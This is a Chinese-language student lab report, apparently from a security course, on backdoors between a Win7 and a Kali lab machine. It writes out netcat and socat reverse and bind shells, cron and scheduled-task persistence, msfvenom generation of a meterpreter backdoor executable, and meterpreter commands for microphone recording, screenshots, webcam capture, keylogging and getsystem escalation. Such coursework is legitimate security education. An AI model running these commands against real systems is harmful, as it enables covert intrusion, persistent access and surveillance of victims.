一、基础问题回答
（注：本实验中在win7上使用的ncat.exe和socat.exe均可在实验指导的附件中下载）
（注：此次实验并没有更改主机名，以及以学号命名端口号，但是文件和端口号有相应的特征数字组成。原因是：并不想在网上过多地呈现自己的信息，也许早已泄漏，不过能少一点就少一点吧）
1.例举你能想到的一个后门进入到你系统中的可能方式？
答：非官方网站下载资源时，可能附带下载后门软件；下载安装破解版软件；随意点击收到的陌生链接
2.例举你知道的后门如何启动起来(win及linux)的方式？
答：win : 双击直接执行；通过任务计划程序启动；在开机启动项中，随着开机，直接启动
linux : 通过cron指令，制定任务，从而启动；通过脚本启动
3.Meterpreter有哪些给你映像深刻的功能？
答：都挺深刻，毕竟功能齐全而强大，从攻击、获取信息到提权，“一条龙”服务，而Meterpreter仅仅是Metasploit框架中的一个扩展模块，此模块本身给人的感觉就挺震撼
4.如何发现自己有系统有没有被安装后门？
答：使用某卫士、某杀软侦测、查杀；win中观察特定注册表以及任务管理器的进程序列中是否有异样，linux中通过命令“ps aux”查看进程状况
二、使用netcat获取主机操作Shell，cron启动
1.Windows获得Linux Shell
（1）命令 ipconfig 查看win7的IP地址，之后，win7本地用命令 ncat.exe -l -p 7777 监听7777端口，等待其它机器连接该端口
（2）Kali用命令 nc 192.168.28.166 7777 -e /bin/sh 反弹连接win7，提供自己的shell
（3）windows获得linux的shell，可执行linux相关命令
2.Linux获得Windows Shell
（1）与上面步骤相似，linux下 ifconfig 查询IP地址，nc设置监听本地7777端口 nc -l -p 7777
（2）win7反弹连接linux，提供自己的shell（cmd） ncat.exe -e cmd.exe 192.168.28.181 7777
（3）Linux下看到Windows的命令提示，获得win7的shell，可任意执行指令
3.nc传输数据
（1）win7监听本地7777端口 ncat.exe -l 7777 ，kali连接win7的7777端口 nc 192.168.28.166 7777
（2）然后就。。。可以让两台机器开始聊天了，win7发一句，kali接收，然后回一句（确实。。。实现了数据的传输）
4.nc定时启动
Cron是Linux下的定时任务，每一分钟运行一次，根据配置文件执行预设的指令。
（1）win7监听本地7777端口 ncat.exe -l -p 7777
（2）crontab指令增加一条定时任务 crontab -e 。因为是第一次编辑，所以会提示选择编辑器。选择“3”，利用最基本的vim编辑器进行编辑（ i 进入编辑模式），在最后一行添加任务 22 * * * * /bin/netcat 192.168.28.166 7777 -e /bin/sh 。（编辑完成后， esc键 退出编辑模式， :wq 保存并退出）
说明：为何是22 ? => 最后一行的意思是在每个小时的第22分钟执行后面的那条指令。【如图，操作时是18:20，那就设置2分钟后（18:22）执行吧】
（3） crontab -l 可查看配置的任务
（4）当时间到了第22分时，win获得linux的shell，可执行相关命令
三、使用socat获取主机操作Shell, 任务计划启动
1.在Windows系统下，打开：控制面板->系统和安全->管理工具->任务计划程序，在操作选项（菜单栏）中，选择“创建任务”，填写任务名称007，之后，新建触发器，选择开始任务时间为：工作站锁定时。
2.新建操作，选择启动的程序为socat.exe，参数项填为 tcp-listen:7777 exec:cmd.exe,pty,stderr ，含义为：把cmd.exe绑定到端口号，同时把cmd.exe的stderr重定向到stdout上
3.创建完成之后，按 Win+L 快捷键锁定计算机，再次打开时，可以发现之前创建的任务已经开始运行
4.在kali终端输入指令 socat - tcp:192.168.28.166:7777 （注：socat里面，必须有两个流，这里的第一个流[参数-]代表标准的输入输出，第二个流表示连接到Win7主机的7777端口），此时可发现已经成功获得了一个windows shell
四、使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell
1.生成后门程序，指令为（注：这里设置的主机IP、端口为kali[攻击机]的IP、端口）
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.28.181 LPORT=7777 -f exe > 007_backdoor.exe
2.通过nc指令将生成的后门程序传送到Windows主机上，输入后需要在Linux上输入指令
先进行：win7上运行ncat命令，等待接收007_backdoor.exe
ncat.exe -lv 7777 > 007_backdoor.exe
后进行：kali上运行ncat命令，传输007_backdoor.exe到win7主机（IP：192.168.28.166）上
ncat -nv 192.168.28.166 7777 < 007_backdoor.exe
3.效果
4.在kali上使用 msfconsole 指令进入msf控制台
（1）小插曲：数据库连接失败？？？重启一下postgresql数据库就OK了
（2）闲的无聊，退出重进一下msf控制台，看看有啥新鲜图案（挺好玩^_^）
5.进行如下配置
use exploit/multi/handler //使用handler模块 set payload windows/meterpreter/reverse_tcp //设置载荷，字面意思应该是基于TCP的反向连接反弹windows shell show options //查看利用模块的设置信息 set LHOST 192.168.28.181 //接下来的两个set是配置模块的设置信息，这里是设置本主机kali的IP set LPORT 7777 //设置本主机的端口 show options //再次查看一下options，确保设置正确 exploit //运行模块
（1）设置模块、载荷
（2）查看设置信息（注：Current setting列表示当前设置，如设置不符合，需修改；Required列若是yes，则表示对应行的参数需要设置）
EXITFUNC参数对应的行无需修改，网上解释为：EXITFUNC有4个不同的值：none，seh，thread和process。通常它被设置为线程或进程，它对应于ExitThread或ExitProcess调用。 “none”参数将调用GetLastError，实际上是无操作，线程然后将继续执行，允许您简单地将多个有效负载一起串行运行。在某些情况下，EXITFUNC是有用的，在利用一个exploit之后，我们需要一个干净地退出。
PROCESS方法应与multi/handler这个利用模块一起使用。此方法也应该与任何主进程在退出时会重新启动的漏洞一起使用。
（3）设置主机IP、端口，并再次用 show options 查看是否设置正确
（4） 启用模块
（5）在win7上运行后门程序（这里，也许要提前关闭一下杀毒软件和防火墙，否则，可能运行时会出问题）
（6）查看kali，发现获得了win7主机的连接，并且得到了远程控制的shell，可执行相关命令
五、使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权
1.由上面的exploit操作，已经获得shell，接下来，尝试获取目标主机音频、摄像头、击键记录等内容
（1）获取目标主机音频、截屏内容
record_mic //音频
screenshot //截屏
（2）发现win7中有摄像设备，可以获取一下摄像头所拍摄相片（周边环境太黑了，勉强拍了个“安全出口”标识）
（3）获取击键记录
kali上输入指令 keyscan_start ，开始记录win7上任何键盘记录，随意在win7上输入一些字母，之后kali上输入指令 keyscan_dump ，就可下载键盘记录
2.提权
（1）先使用 getuid 指令查看当前用户，再使用 getsystem 指令进行提权，提权失败？？？
（2）上网搜索原因，说是在win7机器上需要以管理员身份运行，才能提权（那就以管理员身份运行吧）
（3）提权成功
注：若直接运行没有效果，可以“以管理员方式运行”命令提示符，在命令行中运行exe文件
实验感想
本次实验简单地了解了后门原理，对后门的形成、植入、利用攻击等一系列过程有了初步的认识，实践内容较上次的逆向实验稍微轻松了些。
不过，整个攻击过程跟上次一样，都是基于一定条件的（如：靶机nc监听、靶机关闭防火墙和杀软），想进一步了解更加真实的攻击入侵过程，期待免杀等后续实验。